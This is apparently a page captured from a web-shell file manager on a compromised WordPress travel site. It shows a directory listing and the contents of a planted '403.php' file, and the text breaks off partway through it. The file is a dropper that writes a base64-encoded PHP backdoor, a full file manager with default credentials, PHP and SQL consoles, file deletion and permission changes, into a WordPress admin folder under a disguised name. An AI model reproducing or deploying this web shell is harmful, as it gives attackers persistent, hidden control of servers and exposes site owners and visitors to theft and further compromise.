XYZ File Manager
Current Path:
/home/u113812720/domains/citrustravels.com/public_html
home
/
u113812720
/
domains
/
citrustravels.com
/
public_html
/
π
..
π
.htaccess
(1.4 KB)
π
.htaccess.bk
(714 B)
π
.private
π
403.php
(415.57 KB)
π
about.php
(120 B)
π
comment.php
(80 B)
π
default.php
(15.99 KB)
π
error_log
(287 B)
π
googled4a3270fe3cdf7b5.html
(53 B)
π
index.php
(405 B)
π
license.txt
(19.44 KB)
π
llms.txt
(42.88 KB)
π
readme.html
(7.25 KB)
π
robots.txt
(71 B)
π
wp-activate.php
(7.21 KB)
π
wp-admin
π
wp-blog-header.php
(351 B)
π
wp-comments-post.php
(2.27 KB)
π
wp-config-sample.php
(3.26 KB)
π
wp-config.php
(3.39 KB)
π
wp-content
π
wp-cron.php
(5.49 KB)
π
wp-includes
π
wp-links-opml.php
(2.44 KB)
π
wp-load.php
(3.84 KB)
π
wp-login.php
(50.21 KB)
π
wp-mail.php
(8.52 KB)
π
wp-settings.php
(29.38 KB)
π
wp-signup.php
(33.71 KB)
π
wp-slgnup.gz
(2.98 KB)
π
wp-trackback.php
(4.98 KB)
π
xmlrpc.php
(3.13 KB)
Editing: 403.php
<?php $files = [ [ \'file_path\' => $_SERVER[\'DOCUMENT_ROOT\'] . \'/wp-admin/includes/wp-aisaka.php\', \'content\' => \'77u/77u/PD9waHAKLyogUEhQIEZpbGUgbWFuYWdlciBBaXNha2EgMS4wICovCgoKCi8vIFN5c3RlbSBjb25maWd1cmF0aW9uIEVkaXQgLSBtYW51YWwgZWRpdHMgbm90IHJlY29tbWVuZGVkCgoKCgoKICAgICAgJHVzZXJBdXRoU2V0dGluZ3MgPSAneyJhdXRob3JpemUiOiIwIiwibG9naW4iOiJhZG1pbiIsInBhc3N3b3JkIjoicGhwZm0iLCJjb29raWVfbmFtZSI6ImZtX3VzZXIiLCJkYXlzX2F1dGhvcml6YXRpb24iOiIzMCIsInNjcmlwdCI6IjxzY3JpcHQgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIiBzcmM9XCJodHRwczpcL1wvd3d3LmNkb2xpdmV0LmNvbVwvZWRpdGFyZWFcL2VkaXRhcmVhXC9lZGl0X2FyZWFcL2VkaXRfYXJlYV9mdWxsLmpzXCI+PFwvc2NyaXB0PlxyXG48c2NyaXB0IGxhbmd1YWdlPVwiSmF2YXNjcmlwdFwiIHR5cGU9XCJ0ZXh0XC9qYXZhc2NyaXB0XCI+XHJcbmVkaXRBcmVhTG9hZGVyLmluaXQoewpcclxuaWQ6IFwibmV3Y29udGVudFwiXHJcbixkaXNwbGF5OiBcImxhdGVyXCJcclxuLHN0YXJ0X2hpZ2hsaWdodDogdHJ1ZVxyXG4sYWxsb3dfcmVzaXplOiBcImJvdGhcIlxyXG4sYWxsb3dfdG9nZ2xlOiB0cnVlXHJcbix3b3JkX3dyYXA6IHRydWVcclxuLGxhbmd1YWdlOiBcInJ1XCJcclxuLHN5bnRheDogXCJwaHBcIlx0XHJcbix0b29sYmFyOiBcInNlYXJjaCwgZ29fdG9fbGluZSwgfCwgdW5kbywgcmVkbywgfCwgc2VsZWN0X2ZvbnQsIHwsIHN5bnRheF9zZWxlY3Rpb24sIHwsIGNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uLCBoaWdobGlnaHQsIHJlc2V0X2hpZ2hsaWdodCwgfCwgaGVscFwiXHJcbixzeW50YXhfc2VsZWN0aW9uX2FsbG93OiBcImNzcyxodG1sLGpzLHBocCxweXRob24seG1sLGMsY3BwLHNxbCxiYXNpYyxwYXNcIlxyXG59KTtcclxuPFwvc2NyaXB0PiJ9JzsKCiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtX2NvbmZpZztcclxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9JzsKCiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsKCiR0cmFuc2xhdGlvbiA9ICd7ImlkIjoicnUiLCJBZGQiOiLQlNC+0LHQsNCy0LjRgtGMIiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyI6ItCS0Ysg0YPQstC10YDQtdC90YssINGH0YLQviDRhdC+0YLQuNGC0LUg0YPQtNCw0LvQuNGC0Ywg0Y3RgtGDINC/0LDQv9C60YMgKNGA0LXQutGD0YDRgdC40LLQvdC+KT8iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iOiLQktGLINGD0LLQtdGA0LXQvdGLLCDRh9GC0L4g0YXQvtGC0LjRgtC1INGD0LTQsNC70LjRgtGMINGN0YLQvtGCINGE0LDQudC7PyIsIkFyY2hpdmluZyI6ItCQ0YDRhdC40LLQuNGA0L7QstCw0YLRjCIsIkF1dGhvcml6YXRpb24iOiLQkNCy0YLQvtGA0LjQt9Cw0YbQuNGPIiwiQmFjayI6ItCd0LDQt9Cw0LQiLCJDYW5jZWwiOiLQntGC0LzQtdC90LAiLCJDaGluZXNlIjoi0JrQuNGC0LDQudGB0LrQuNC5IiwiQ29tcHJlc3MiOiLQodC20LDRgtGMIiwiQ29uc29sZSI6ItCa0L7QvdGB0L7Qu9GMIiwiQ29va2llIjoi0JrRg9C60LgiLCJDcmVhdGVkIjoi0KHQvtC30LTQsNC9IiwiRGF0ZSI6ItCU0LDRgtCwIiwiRGF5cyI6ItCU0L3QtdC5IiwiRGVjb21wcmVzcyI6ItCg0LDRgdC/0LDQutC+0LLQsNGC0YwiLCJEZWxldGUiOiLQo9C00LDQu9C40YLRjCIsIkRlbGV0ZWQiOiLQo9C00LDQu9C10L3QviIsIkRvd25sb2FkIjoi0KHQutCw0YfQsNGC0YwiLCJkb25lIjoi0LfQsNC60L7QvdGH0LXQvdCwIiwiRWRpdCI6ItCg0LXQtNCw0LrRgtC40YDQvtCy0LDRgtGMIiwiRW50ZXIiOiLQktGF0L7QtCIsIkVuZ2xpc2giOiLQkNC90LPQu9C40LnRgdC60LjQuSIsIkVycm9yIG9jY3VycmVkIjoi0J/RgNC+0LjQt9C+0YjQu9CwINC+0YjQuNCx0LrQsCIsIkZpbGUgbWFuYWdlciI6ItCk0LDQudC70L7QstGL0Lkg0LzQtdC90LXQtNC20LXRgCIsIkZpbGUgc2VsZWN0ZWQiOiLQktGL0LHRgNCw0L0g0YTQsNC50LsiLCJGaWxlIHVwZGF0ZWQiOiLQpNCw0LnQuyDRgdC+0YXRgNCw0L3QtdC9IiwiRmlsZW5hbWUiOiLQmNC80Y8g0YTQsNC50LvQsCIsIkZpbGVzIHVwbG9hZGVkIjoi0KTQsNC50Lsg0LfQsNCz0YDRg9C20LXQvSIsIkZyZW5jaCI6ItCk0YDQsNC90YbRg9C30YHQutC40LkiLCJHZW5lcmF0aW9uIHRpbWUiOiLQk9C10L3QtdGA0LDRhtC40Y8g0YHRgtGA0LDQvdC40YbRiyIsIkdlcm1hbiI6ItCd0LXQvNC10YbQutC40LkiLCJIb21lIjoi0JTQvtC80L7QuSIsIlF1aXQiOiLQktGL0YXQvtC0IiwiTGFuZ3VhZ2UiOiLQr9C30YvQuiIsIkxvZ2luIjoi0JvQvtCz0LjQvSIsIk1hbmFnZSI6ItCj0L/RgNCw0LLQu9C10L3QuNC1IiwiTWFrZSBkaXJlY3RvcnkiOiLQodC+0LfQtNCw0YLRjCDQv9Cw0L/QutGDIiwiTmFtZSI6ItCd0LDQuNC80LXQvdC+0LLQsNC90LjQtSIsIk5ldyI6ItCd0L7QstC+0LUiLCJOZXcgZmlsZSI6ItCd0L7QstGL0Lkg0YTQsNC50LsiLCJubyBmaWxlcyI6ItC90LXRgiDRhNCw0LnQu9C+0LIiLCJQYXNzd29yZCI6ItCf0LDRgNC+0LvRjCIsInBpY3R1cmVzIjoi0LjQt9C+0LHRgNCw0LbQtdC90LjRjyIsIlJlY3Vyc2l2ZWx5Ijoi0KDQtdC60YPRgNGB0LjQstC90L4iLCJSZW5hbWUiOiLQn9C10YDQtdC40LzQtdC90L7QstCw0YLRjCIsIlJlc2V0Ijoi0KHQsdGA0L7RgdC40YLRjCIsIlJlc2V0IHNldHRpbmdzIjoi0KHQsdGA0L7RgdC40YLRjCDQvdCw0YHRgtGA0L7QudC60LgiLCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIjoi0JLQvtGB0YHRgtCw0L3QsNCy0LvQuNCy0LDRgtGMINCy0YDQtdC80Y8g0YTQsNC50LvQsCDQv9C+0YHQu9C1INGA0LXQtNCw0LrRgtC40YDQvtCy0LDQvdC40Y8iLCJSZXN1bHQiOiLQoNC10LfRg9C70YzRgtCw0YIiLCJSaWdodHMiOiLQn9GA0LDQstCwIiwiUnVzc2lhbiI6ItCg0YPRgdGB0LrQuNC5IiwiU2F2ZSI6ItCh0L7RhdGA0LDQvdC40YLRjCIsIlNlbGVjdCI6ItCS0YvQsdC10YDQuNGC0LUiLCJTZWxlY3QgdGhlIGZpbGUiOiLQktGL0LHQtdGA0LjRgtC1INGE0LDQudC7IiwiU2V0dGluZ3MiOiLQndCw0YHRgtGA0L7QudC60LAiLCJTaG93Ijoi0J/QvtC60LDQt9Cw0YLRjCIsIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIjoi0J/QvtC60LDQt9GL0LLQsNGC0Ywg0YDQsNC30LzQtdGAINC/0LDQv9C60LgiLCJTaXplIjoi0KDQsNC30LzQtdGAIiwiU3BhbmlzaCI6ItCY0YHQv9Cw0L3RgdC60LjQuSIsIlN1Ym1pdCI6ItCe0YLQv9GA0LDQstC40YLRjCIsIlRhc2siOiLQl9Cw0LTQsNGH0LAiLCJ0ZW1wbGF0ZXMiOiLRiNCw0LHQu9C+0L3RiyIsIlVrcmFpbmlhbiI6ItCj0LrRgNCw0LjQvdGB0LrQuNC5IiwiVXBsb2FkIjoi0JfQsNCz0YDRg9C30LjRgtGMIiwiVmFsdWUiOiLQl9C90LDRh9C10L3QuNC1IiwiSGVsbG8iOiLQn9GA0LjQstC10YIiLCJGb3VuZCBpbiBmaWxlcyI6ItCd0LDQudC00LXQvdC+INCyINGE0LDQudC70LDRhSIsIlNlYXJjaCI6ItCf0L7QuNGB0LoiLCJSZWN1cnNpdmUgc2VhcmNoIjoi0KDQtdC60YPRgNGB0LjQstC90YvQuSDQv9C+0LjRgdC6IiwiTWFzayI6ItCc0LDRgdC60LAifSc7CgoKCi8vIGVuZCBjb25maWd1cmF0aW9uIE9LCgoKCi8vIFByZXBhcmF0aW9ucyBPSwokc3RhcnR0aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKCiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsKCiRsYW5ncyA9IGFycmF5KCdlbicsJ3J1JywnZGUnLCdmcicsJ3VrJyk7CgokcGF0aCA9IGVtcHR5KCRfUkVRVUVTVFsncGF0aCddKSA/ICRwYXRoID0gcmVhbHBhdGgoJy4nKSA6IHJlYWxwYXRoKCRfUkVRVUVTVFsncGF0aCddKTsKCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCkgLiAnLyc7CgokbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXCcsICcvJyxyZWFscGF0aCgnLi8nKSk7CgokcGhhcl9tYXliZSA9ICh2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCI1LjMuMCIsIjwiKSk/dHJ1ZTpmYWxzZTsKCiRtc2cgPSAnJzsgLy8gc2VydmljZSBzdHJpbmcKJGRlZmF1bHRfbGFuZ3VhZ2UgPSAncnUnOwoKJGRldGVjdF9sYW5nID0gdHJ1ZTsKCiRmbV92ZXJzaW9uID0gMS40OwoKCgoKLy9BdXRob3JpemF0aW9uCiRhdXRoID0ganNvbl9kZWNvZGUoJHVzZXJBdXRoU2V0dGluZ3MsdHJ1ZSk7CgokYXV0aFsnYXV0aG9yaXplJ10gPSBpc3NldCgkYXV0aFsnYXV0aG9yaXplJ10pID8gJGF1dGhbJ2F1dGhvcml6ZSddIDogMDsgCiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSA9IChpc3NldCgkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pJiZpc19udW1lcmljKCRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpID8gKGludCkkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gOiAzMDsKCiRhdXRoWydsb2dpbiddID0gaXNzZXQoJGF1dGhbJ2xvZ2luJ10pID8gJGF1dGhbJ2xvZ2luJ10gOiAnYWRtaW4nOyAgCiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgCiRhdXRoWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gOiAnZm1fdXNlcic7CgokYXV0aFsnc2NyaXB0J10gPSBpc3NldCgkYXV0aFsnc2NyaXB0J10pID8gJGF1dGhbJ3NjcmlwdCddIDogJyc7CgoKCgovLyBMaXR0bGUgZGVmYXVsdCBjb25maWcKJGZtX2RlZmF1bHRfY29uZmlnID0gYXJyYXkgKAoJJ21ha2VfZGlyZWN0b3J5JyA9PiB0cnVlLCAKCSduZXdfZmlsZScgPT4gdHJ1ZSwgCgkndXBsb2FkX2ZpbGUnID0+IHRydWUsIAoJJ3Nob3dfZGlyX3NpemUnID0+IGZhbHNlLCAvL2lmIHRydWUsIHNob3cgZGlyZWN0b3J5IHNpemUg4oaSIG1heWJlIHNsb3cgCgknc2hvd19pbWcnID0+IHRydWUsIAoJJ3Nob3dfcGhwX3ZlcicgPT4gdHJ1ZSwgCgknc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgLy8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaQoJJ3Nob3dfZ3QnID0+IHRydWUsIC8vIHNob3cgZ2VuZXJhdGlvbiB0aW1lCgknZW5hYmxlX3BocF9jb25zb2xlJyA9PiB0cnVlLAoJJ2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSwKCSdzcWxfc2VydmVyJyA9PiAnbG9jYWxob3N0JywKCSdzcWxfdXNlcm5hbWUnID0+ICdyb290JywKCSdzcWxfcGFzc3dvcmQnID0+ICcnLAoJJ3NxbF9kYicgPT4gJ3Rlc3RfYmFzZScsCgknZW5hYmxlX3Byb3h5JyA9PiB0cnVlLAoJJ3Nob3dfcGhwaW5mbycgPT4gdHJ1ZSwKCSdzaG93X3hscycgPT4gdHJ1ZSwKCSdmbV9zZXR0aW5ncycgPT4gdHJ1ZSwKCSdyZXN0b3JlX3RpbWUnID0+IHRydWUsCgknZm1fcmVzdG9yZV90aW1lJyA9PiBmYWxzZSwKKTsKCgppZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZzsKCmVsc2UgJGZtX2NvbmZpZyA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWydmbV9jb25maWcnXSk7CgoKCgovLyBDaGFuZ2UgbGFuZ3VhZ2UKaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyAKCXNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCgkkX0NPT0tJRVsnZm1fbGFuZyddID0gJF9QT1NUWydmbV9sYW5nJ107Cgp9CiRsYW5ndWFnZSA9ICRkZWZhdWx0X2xhbmd1YWdlOwoKCgoKLy8gRGV0ZWN0IGJyb3dzZXIgbGFuZ3VhZ2UKaWYoJGRldGVjdF9sYW5nICYmICFlbXB0eSgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgJiYgZW1wdHkoJF9DT09LSUVbJ2ZtX2xhbmcnXSkpewoJJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOwoKCWlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsKCQlmb3JlYWNoICgkbGFuZ19wcmlvcml0eSBhcyAkbGFuZ19hcnIpewoJCQkkbG5nID0gZXhwbG9kZSgnOycsICRsYW5nX2Fycik7CgoJCQkkbG5nID0gJGxuZ1swXTsKCgkJCWlmKGluX2FycmF5KCRsbmcsJGxhbmdzKSl7CgkJCQkgICAgICAkbGFuZ3VhZ2UgPSAkbG5nOwoKCQkJCSAgICAgIGJyZWFrOwoKCQkJfQoJCX0KCX0KfSAKCgoKLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXIKJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107CgoKCgovLyBMb2NhbGl6YXRpb24KJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb24sdHJ1ZSk7CgppZiAoJGxhbmdbJ2lkJ10hPSRsYW5ndWFnZSkgewoJJGdldF9sYW5nID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9EZW4xeHh4L0ZpbGVtYW5hZ2VyL21hc3Rlci9sYW5ndWFnZXMvJyAuICRsYW5ndWFnZSAuICcuanNvbicpOwoKCWlmICghZW1wdHkoJGdldF9sYW5nKSkgewoKCgkJLy9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVycwoJCSR0cmFuc2xhdGlvbl9zdHJpbmcgPSBzdHJfcmVwbGFjZSgiJyIsJyYjMzk7Jyxqc29uX2VuY29kZShqc29uX2RlY29kZSgkZ2V0X2xhbmcpLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpKTsKCgkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKCgkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyN0cmFuc2xhdGlvbltcc10/XD1bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7CgoJCWlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7CgkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOwoKCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJHRyYW5zbGF0aW9uX3N0cmluZywkZmdjKTsKCgkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7CgkJCQkgICAgICAkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCgkJCX0JZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOwoKCQl9CQoJCSRsYW5nID0ganNvbl9kZWNvZGUoJHRyYW5zbGF0aW9uX3N0cmluZyx0cnVlKTsKCgl9Cn0KCi8qIEZ1bmN0aW9ucyAqLwoKCgovL3RyYW5zbGF0aW9uCmZ1bmN0aW9uIF9fKCR0ZXh0KXsKCWdsb2JhbCAkbGFuZzsKCglpZiAoaXNzZXQoJGxhbmdbJHRleHRdKSkgcmV0dXJuICRsYW5nWyR0ZXh0XTsKCgllbHNlIHJldHVybiAkdGV4dDsKCn07CgoKCgovL2RlbGV0ZSBmaWxlcyBhbmQgZGlycyByZWN1cnNpdmVseQpmdW5jdGlvbiBmbV9kZWxfZmlsZXMoJGZpbGUsICRyZWN1cnNpdmUgPSBmYWxzZSkgewoJaWYoJHJlY3Vyc2l2ZSAmJiBAaXNfZGlyKCRmaWxlKSkgewoJCSRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSwgJycsICcnLCB0cnVlKTsKCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsKCQkJaWYoJGVsICE9ICcuJyAmJiAkZWwgIT0gJy4uJyl7CgkJCQkgICAgICBmbV9kZWxfZmlsZXMoJGZpbGUgLiAnLycgLiAkZWwsIHRydWUpOwoKCQkJfQoJCX0KCX0KCWlmKEBpc19kaXIoJGZpbGUpKSB7CgkJcmV0dXJuIHJtZGlyKCRmaWxlKTsKCgl9IGVsc2UgewoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsKCgl9Cn0KCgoKLy9maWxlIHBlcm1zCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXsKCSRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7CgoJJGluZm8gPSAnJzsKCglpZighJGlmKXsKCQlpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CgoKCQkJICAgICAgLy9Tb2NrZXQKCQkJJGluZm8gPSAncyc7CgoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKCgoJCQkgICAgICAvL1N5bWJvbGljIExpbmsKCQkJJGluZm8gPSAnbCc7CgoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKCgoJCQkgICAgICAvL1JlZ3VsYXIKCQkJJGluZm8gPSAnLSc7CgoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKCgoJCQkgICAgICAvL0Jsb2NrIHNwZWNpYWwKCQkJJGluZm8gPSAnYic7CgoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKCgoJCQkgICAgICAvL0RpcmVjdG9yeQoJCQkkaW5mbyA9ICdkJzsKCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewoKCgkJCSAgICAgIC8vQ2hhcmFjdGVyIHNwZWNpYWwKCQkJJGluZm8gPSAnYyc7CgoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKCgoJCQkgICAgICAvL0ZJRk8gcGlwZQoJCQkkaW5mbyA9ICdwJzsKCgkJfSBlbHNlIHsKCgoJCQkgICAgICAvL1Vua25vd24KCQkJJGluZm8gPSAndSc7CgoJCX0KCX0KCgogIAogICAgICAJLy9Pd25lcgoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCgoKIAoJICAgICAgLy9Hcm91cAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwoKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCgoKIAoJICAgICAgLy9Xb3JsZAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwoKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCgoJcmV0dXJuICRpbmZvOwoKfQoKZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHsKCSRtb2RlID0gc3RyX3BhZCgkbW9kZSw5LCctJyk7CgoJJHRyYW5zID0gYXJyYXkoJy0nPT4nMCcsJ3InPT4nNCcsJ3cnPT4nMicsJ3gnPT4nMScpOwoKCSRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTsKCgkkbmV3bW9kZSA9ICcwJzsKCgkkb3duZXIgPSAoaW50KSAkbW9kZVswXSArIChpbnQpICRtb2RlWzFdICsgKGludCkgJG1vZGVbMl07IAoJJGdyb3VwID0gKGludCkgJG1vZGVbM10gKyAoaW50KSAkbW9kZVs0XSArIChpbnQpICRtb2RlWzVdOyAKCSR3b3JsZCA9IChpbnQpICRtb2RlWzZdICsgKGludCkgJG1vZGVbN10gKyAoaW50KSAkbW9kZVs4XTsgCgkkbmV3bW9kZSAuPSAkb3duZXIgLiAkZ3JvdXAgLiAkd29ybGQ7CgoJcmV0dXJuIGludHZhbCgkbmV3bW9kZSwgOCk7Cgp9CgpmdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7CgkkcmVzID0gQGNobW9kKHJlYWxwYXRoKCRmaWxlKSwgJHZhbCk7CgoJaWYoQGlzX2RpcigkZmlsZSkgJiYgJHJlYyl7CgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTsKCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsKCQkJJHJlcyA9ICRyZXMgJiYgZm1fY2htb2QoJGZpbGUgLiAnLycgLiAkZWwsICR2YWwsIHRydWUpOwoKCQl9Cgl9CglyZXR1cm4gJHJlczsKCn0KCgoKLy9sb2FkIGZpbGVzCmZ1bmN0aW9uIGZtX2Rvd25sb2FkKCRmaWxlX25hbWUpIHsKICAgICAgICAgIGlmICghZW1wdHkoJGZpbGVfbmFtZSkpIHsKCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHsKCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJGZpbGVfbmFtZSkpOyAgIAoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZm9yY2UtZG93bmxvYWQiKTsKCgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZCIpOwoKCQkJaGVhZGVyKCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyIik7ICAgICAgICAgICAgCgkJCWhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZV9uYW1lKSk7CQkKCQkJZmx1c2goKTsgLy8gdGhpcyBkb2Vzbid0IHJlYWxseSBtYXR0ZXIuCgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJyIik7CgoJCQl3aGlsZSAoIWZlb2YoJGZwKSkgewoJCQkJICAgICAgZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsKCgkJCQkgICAgICBmbHVzaCgpOyAvLyB0aGlzIGlzIGVzc2VudGlhbCBmb3IgbGFyZ2UgZG93bmxvYWRzCgkJCX0gCgkJCWZjbG9zZSgkZnApOwoKCQkJZGllKCk7CgoJCX0gZWxzZSB7CgkJCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7CgoJCQloZWFkZXIoJ1N0YXR1czogNDA0IE5vdCBGb3VuZCcpOyAKCQkJZGllKCk7CgogICAgICAgICAgICAgIH0KICAgICAgICAgIH0gCn0KCgoKLy9zaG93IGZvbGRlciBzaXplCmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkgewoJaWYoJGZvcm1hdCkgIHsKCQkkc2l6ZT1mbV9kaXJfc2l6ZSgkZixmYWxzZSk7CgoJCWlmKCRzaXplPD0xMDI0KSByZXR1cm4gJHNpemUuJyBieXRlcyc7CgoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQpLDIpLicmbmJzcDtLYic7CgoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInOwoKCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7CgoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJ